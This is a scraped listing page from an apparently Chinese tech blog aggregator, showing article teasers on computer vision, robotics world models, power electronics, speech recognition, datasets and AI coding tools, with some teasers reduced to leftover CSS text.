基于YOLOv9m的水尺水位识别方案实践与部署指南

基于YOLOv9m的水尺水位识别方案实践与部署指南

水位读数不准、现场环境恶劣、模型识别偶尔抽风——这些都是做水尺视觉识别项目时绕不开的坎。我最近基于 YOLOv9m 完成了一套水位计水位识别方案&#xff0c;从数据采集、标注、训练一路推到嵌入式设备部署&#xff0c;中间踩了不少坑也总结了不少经验。这套方案的核心思路很直…

2026/10/19 22:14:55 阅读更多 →
Atlas世界模型:一张图生成人形机器人训练数据,大幅降低采集成本

Atlas世界模型:一张图生成人形机器人训练数据,大幅降低采集成本

我接触Atlas这个项目的时候&#xff0c;第一反应是&#xff1a;这不就是那个传说中的"世界模型"吗&#xff1f;后来完整跑完一遍流程才明白&#xff0c;它真正解决的痛点是——人形机器人训练中最贵、最慢、最让人头疼的"数据采集"环节。简单说&#xff0c…

2026/10/19 22:14:55 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介&#xff1a;本资源为电源技术方向的学术研究文档&#xff0c;聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略&#xff0c;面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址&#xff1a; https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集&#xff0c;共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →